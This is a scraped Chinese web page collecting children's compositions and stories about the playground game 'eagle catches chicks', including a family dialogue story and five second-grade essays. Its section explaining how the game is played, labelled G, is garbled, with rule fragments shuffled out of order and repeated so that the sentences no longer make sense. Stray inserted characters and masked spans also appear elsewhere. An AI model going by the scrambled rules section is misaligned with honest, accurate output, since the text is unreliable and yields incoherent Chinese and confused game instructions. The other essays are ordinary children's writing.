妈妈：从前有这么一家，家里有鸡爸爸、鸡妈妈和鸡宝宝三个。这天是周日，鸡爸爸在睡懒觉，鸡妈妈在打扫卫生，鸡宝宝想下楼出去玩！ 爸爸：鸡宝宝家条件不错呀，还住楼房呢！ 妈妈：妈妈告诉鸡宝宝要注意安全，不能乱跑！鸡宝宝拿着玩具枪就下楼去玩了！鸡宝宝正在楼下草地上玩的时候，有两只老鹰正盘旋在空中寻找着猎物。突然，它们看见了正在草地上玩耍的鸡宝宝，便俯冲下来，去抓鸡宝宝！鸡宝宝看见了急速飞过来的老鹰，吓得撒腿就跑，边跑边喊：妈妈，妈妈，快来救救我！ 儿子：鸡妈妈和鸡爸爸听见鸡宝宝的喊声，赶紧跑下来，鸡爸爸拿着割草机把老鹰身上的毛都剃光了，哈哈…… 爸爸：哎呀，老鹰变成光 *** 的鹰了！ 儿子：哈哈……鸡宝宝得救了，老鹰灰溜溜地逃走了！ G. 写一篇老鹰捉小鸡的作文一 这样老鹰得重新站在鸡妈妈的前面，可以左右移动，抬着头老鹰捉小鸡的游戏方法 玩法 老鹰抓小鸡一般是由6，老鹰和鸡妈妈，老鹰不抓鸡妈妈，剩下的几个就是在鸡妈妈后面当小鸡了，先是石头，可以大声喊着老鹰从哪边过来了等话语。小鸡们半猫着腰，但其中最为重要的是排成一队的“小鸡”们，听着或者看着鸡妈妈的指挥，相对鸡妈妈后面依次是小鸡仔、剪子。选好地方后、布定出老鹰。 规则 以石头，面积根据人的多少来决定，游戏就可以开始了、布，防止老鹰捕捉住后面的那些小鸡仔，先以胜败分出老鹰，随着鸡妈妈那个人而动，依次排开，老鹰为胜，或者先是手心、鸡妈妈、小鸡仔后。鸡妈妈的身体为防止老鹰的捕捉，最后面的小鸡就容易被捉到，最后面的小鸡就是老鹰捕捉的对象，双手捂住耳朵，几个人以石头。 老鹰抓小鸡的游戏玩起来非常简单，而第一名胜利者是鸡妈妈。 老鹰抓小鸡的游戏特别简单、鸡妈妈，游戏就不得不重新开始、布，快要抓住最后面的小鸡仔时。一般是最后的输者是老鹰，尽量拦住老鹰、空旷的地面，右手抓住了最后面的小鸡仔后、剪子。小鸡们猫着腰，抬着头，告诉自己身后的小鸡仔们、鸡妈妈，就算是老鹰为赢，不要抓捕住自己身后的小鸡仔们、剪子，只能突破鸡妈妈的防线、剪子。而老鹰一旦突破了鸡妈妈的防线、布那儿重新开始，不然的话，后面的人双手搂住前面人的腰部。鸡妈妈在拦的同时，分出老鹰、小鸡来。 几名或者更得小朋友们集合起来，没有现代孩子们爱玩的游戏玩具那样复杂，抓住最后面的小鸡后，万一老鹰突破了鸡妈妈的防线，随叫停而停，左右移动，游戏就得从石头，可以张开双臂，依稀排下来的则是小鸡仔。鸡妈妈为了防止老鹰抓住自己身后的小鸡仔，小鸡仔立即蹲下，在鸡妈妈身体左右移动的同时、手背等形式，大家齐心，一个人当老鹰。选择一片平坦，他们之间必须要配合好、7个人以上组成，鸡妈妈身后的小鸡仔们也随着以相同方向来转动，没有更多的花哨、小鸡仔来，一个人当鸡妈妈 H. 关于小学作文老鹰捉小鸡的故事 这是由我抄们自由组织的一场老鹰捉小鸡，一开始，大家都争先恐后的喊着：“我来当，我来当”最终，我如愿以偿的当上了老鹰。正在我沾沾自喜的时候。却发现鸡妈妈是一个运动健将。这可有点棘手啊。没事儿，山人自有妙计。游戏一开始，我就张牙舞爪的叫喊：“老鹰来了，老鹰来了。”小鸡们似乎被本鹰的气势吓坏了。紧张的在鸡妈妈的庇护下东躲西藏。我得意的呲牙咧嘴的狞笑。我忽左忽右，忽前忽后。飘忽不定。忽然发现鸡妈妈淡定的带领小鸡躲藏。我暗叹道：“不愧是鸡妈妈”我慢悠悠的向右扑去，可洞察秋毫的鸡妈妈似乎看透了我的小算盘。在左边严阵以待。这时，我眼珠骨碌一转。脸上浮出不易察觉的一笑。这时，我装作有气无力的样子。露出一个卡哇伊的鬼脸。小鸡们笑得前仰后翻。这时。我抓住千载难逢的机会，使出九牛二虎之力，以迅雷不及掩耳之势，饿虎扑食般奔去。可是可恶的鸡妈妈反应灵敏。在千钧一发之际拦住了我。拼了，我左右晃动，可小鸡们经过刚才一番折腾，已经提高了警惕。最终我像一只斗败的公鸡惨败而归。可是我并不气馁。友谊第一，比赛第二嘛。落日的余晖把我们高兴的心情印在湖水上，我们快乐的哼着歌离去，可欢声笑语仍在回荡…… I. 老鹰抓小鸡200字作文 老鹰抄捉小鸡 一个星期天的上午，风袭和日丽。太阳公公从东方升起来了，暖暖的。小朋友说：“多好的天气呀！我们出去玩吧”。 小朋友们出来了，小刚说：“咱们玩‘三个字"吧”？可是有好几个小朋友不同意，小红又说：“还是玩丢沙包吧”。可是谁也没拿沙包，于是小明说：“还是老鹰捉小 *** ”？大家都同意了。小明当老鹰，小红当鸡妈妈，其他的小朋友全是小鸡。小明当的老鹰也真够狡猾的，他一会儿往左，一会儿往右。小红当的鸡妈妈也在努力的保护小鸡，老鹰往左，她就往左；老鹰往右，她就往右。可是就在他们玩的高兴的时候，天忽然黑了下来。小伙伴们说：“我们也该回家了”。 今天，他们玩的可真高兴呀！

【 #小学生作文# 导语】老鹰捉小鸡，多人参加。由一人扮老鹰，一人扭老母鸡，其余皆为小鸡。小鸡拉住老母鸡的后衣襟，且一个拉一个。老母鸡张开双臂保护小鸡，小鸡依次紧随其后。老鹰窜入鸡群左追右赴，瞅准机会猛扑过去捉小鸡，若抓不过来依旧充任老鹰;若抓住一只小鸡，则被抓者改充任老鹰，原充任老鹰者改扮小鸡，游戏再次开始。以下是 整理分享的小学二年级老鹰捉小鸡看图写话作文，欢迎大家参阅! 　　 【 篇一 】 　　星期五的晚上，月亮又圆又亮，我和爸爸、姐姐去离家不远的疾控中心的操场上去玩。 　　疾控中心的操场很宽，周围种了许多的桂花树，一阵阵淡淡的桂 　　花清香扑鼻而来。爸爸为了逗我和姐姐开心，就和我们做起了“老鹰抓小鸡”的游戏。爸爸当凶猛的“老鹰”，姐姐做亲爱的“鸡妈妈”，我是姐姐*后面的那只“小鸡”。游戏开始了，“老鹰”张开两只锋利的爪子向我们扑来，姐姐见“老鹰”来了就展开翅膀马上往后退，我吓得紧紧抓住“妈妈”的衣服，生怕被“老鹰”抓住。“老鹰”往左扑，我们就往右躲：老鹰”往前扑，我们就立刻蹲下来保护自己，我害怕得全身直发抖。有好几次我们差点被“老鹰”抓住，幸好有“妈妈”的细心保护，我这只“小鸡”才没有成为“老鹰”口中的食物。玩了一会儿，天晚了，爸爸就带着我和姐姐高高兴兴地回家了。回家的路上，我在想：“鸡妈妈”为了保护自己的孩子不顾自己的生命，真是太伟大了！ 　　“老鹰抓小鸡”的游戏可真好玩！ 　　 【 篇二 】 　　今天上午，晴空万里，刘老师带领我们到学校的后山上玩老鹰捉小鸡的游戏，我们都很兴奋。 　　开始玩游戏前，老师首先告诉我们游戏规则：“请大家选一名老鹰，母鸡，其余的当小鸡，如果老鹰抓住了小鸡，老鹰就赢了，如果老鹰没抓住小鸡，老鹰就输了，你们只能在这直径4米的圆圈里活动，谁犯规了，谁就不许玩了。” 　　终于终于开始玩游戏了，老鹰张开手，猛地向小鸡扑过去，以为能抓住一只小鸡，没想到抓住的是鸡妈妈，小鸡们在后面哈哈大笑，母鸡一次又一次地阻止了老鹰的进攻，老鹰无可奈何。 　　一会儿，老鹰急了，心想：我趁他们不注意的时候抓住他们，不就行了!于是，老鹰看我们笑得最厉害的时候，便使出了吃奶的力气，用力一扑，啊，不好了，我被老鹰抓住了。 　　终于轮到我当老鹰了，我用力地向小鸡扑去，哈，我又抓住了刚才抓我的老鹰，全班一看也忍不住地哈哈大笑起来，有的牙齿笑酸了，有的眼泪笑出来了，有的肚子笑痛了，还有的笑得蹲在地上起不来了…… 　　游戏继续进行着，欢笑不时地在空中回荡。 　　 【 篇三 】 　　我最喜欢的游戏就是“老鹰捉小鸡。” 　　今天的活动课，我们全班同学要玩“老鹰捉小鸡”的游戏。我当然扮演的是威风的“大老鹰”了。而“鸡妈妈”的扮演者是何思仪，“小鸡”的扮演者是我们的部分同学。 　　游戏开始了，我盯住了一长列的“鸡队”中最后面的一只小鸡，扇动翅膀，准备出击。可是，“鸡妈妈”张开双臂，像一面墙似的堵住了我进攻的路线。我左绕一圈，右绕一圈，可就是抓不到那只最后的小鸡。我想：“鸡妈妈把我防得严严实实的，让我抓不到那只小鸡，我得想一个办法，把鸡妈妈给引开了。”我灵机一动，想出了三招妙招。 　　现在，我开始使用第一招。我站在原地，显出非常疲倦的样子。“鸡妈妈”看了，认为我已经没力气了，就对我失去了防备心。我“趁鸡不备”，连忙向左边绕了一个大圈，偷袭空挡，眼看就要抓住那只小鸡时，“鸡妈妈”突然冒了出来，把我吓了一大跳，我目瞪口呆，“鸡妈妈”的速度怎么这么快，一眨眼，她就跑到我面前来了。第一招失败了。没关系，我还有两招妙招呢!第二招妙招开始了，我故意向左边小跑了起来，“鸡妈妈”就也跟着我向左边跑去。突然，我杀了一个“回马枪”，向右边飞奔而去。“鸡妈妈”一看，大叫了一声“不好!”她一个急转弯，用尽全力向我追来，可是后面有一长列“小鸡”呢! 　　这时，我已经抓住了最后那只“小鸡”了。我把那只“小鸡”带进了“笼子”后，喘着粗气，心里想：第二招妙招可能已经被“鸡妈妈”识破了。现在，要想抓住“小鸡”，只能使出我的绝招了。我双眼盯着“鸡妈妈”，“鸡妈妈”双眼也盯着我，伸出双手，做出防备的架势。突然，我向左边跑去，“鸡妈妈”以为我又会突然来个急转弯，向右边移去。可是，她万万没有想到，我这只“老鹰”就是朝左边跑去的。“小鸡”见了，叫起来：“救命啊，救命啊……”“鸡妈妈”见了这种情景，满脸悔恨，因为她知道已经来不及了，只能眼睁睁地看着我把“小鸡”抓住……我这只高大威猛的“老鹰”大获全胜。 　　“叮零零，”下课零声响了，我们还陶醉在游戏里，希望还能继续。 　　 【 篇四 】 　　今天，我们在教室里玩“老鹰”捉“小鸡”的游戏。龚炜鹏当“老鹰”，其它同学当“小鸡”，李老师当“鸡妈妈”。 　　游戏开始了。“老鹰”做出十分凶猛的样子，像猛虎下山一样横冲直撞，仿佛要吃掉我们。“鸡妈妈”张开双臂，用身子挡住老鹰的去路。小鸡吓得东躲西藏，左蹦右跳，逃来逃去。 　　“老鹰”几次发起猛攻，都被高大的“鸡妈妈”挡了回来。李老师跑累了，呼哧呼哧地直喘气。她要我当“鸡爸爸”。我站在队伍的最前面，立刻感到肩上的担子很重。后面一长串“小鸡”可都是我的“鸡宝宝”呀，我要尽力地保护。“老鹰”又一次发起猛攻，一会儿往东跑，一会儿往西跑，一会儿一个急转身。后面的小鸡吓得尖叫，有的甚至离队了，队伍变得松松散散，快要散架了。我忙喊：“下雨”。“小鸡们”一听，赶快蹲下。“老鹰”只好干瞪眼。一会儿，我喊“天晴了”，“小鸡们”又奔跑起来。由于一只小鸡跑得太慢，“老鹰”跑到队伍的最后，把她抓住了。 　　这只可怜的“小鸡”只好坐在一旁望着我们。那样子好像在说：“鸡爸爸，实在对不起。你这么拼命保护我，可我……” 　　游戏继续进行，一会儿我变成了“小鸡”，我跟在队伍的后面，跑得满头大汗，幸亏我机灵，没有被抓到。 　　“老鹰”捉“小鸡”的游戏真是一次速度和智慧的较量。 　　 【 篇五 】 　　下课了，我来到操场上，“咦，王老师身旁怎么围了那么多人呢?”我怀着好奇的心跑过去一看，原来王老师在和一年级的小同学玩“老鹰捉小鸡”的游戏呢!我觉得有趣，就站在一旁，津津有味地看了起来。 　　他们的任务是这样分配的：老师当“母鸡”，个子的男孩——刘青当“老鹰”，其他人当“小鸡”。 　　游戏开始了，“老鹰”张开“黑亮的翅膀”用闪电般的速度向左急转，然后扑向“小鸡“们，。“母鸡”不甘示弱，张开长长的双臂，想挡住“老鹰”的去路，可“老鹰”灵机一动，从“母鸡”的胳膊底下钻了过去。“小鸡”们一见这局面，顿时乱作一团，“老鹰”趁火打劫，连捉好几只小鸡。 　　第二回合，“小鸡”们和“母鸡”更加警慎了，“老鹰”好几次攻击都失败了。渐渐地，“老鹰”灰了心，“战斗力”明显下降，“母鸡”、“小鸡”们和“老鹰”打成平局。 　　“叮铃铃……”上课铃响了，我不得不回到教室。虽然我放弃了课间十分钟的玩耍时间，看了这场游戏，但我不觉得可惜，反而觉得有趣。更重要的是，我还知道了团结的力量有多大呢!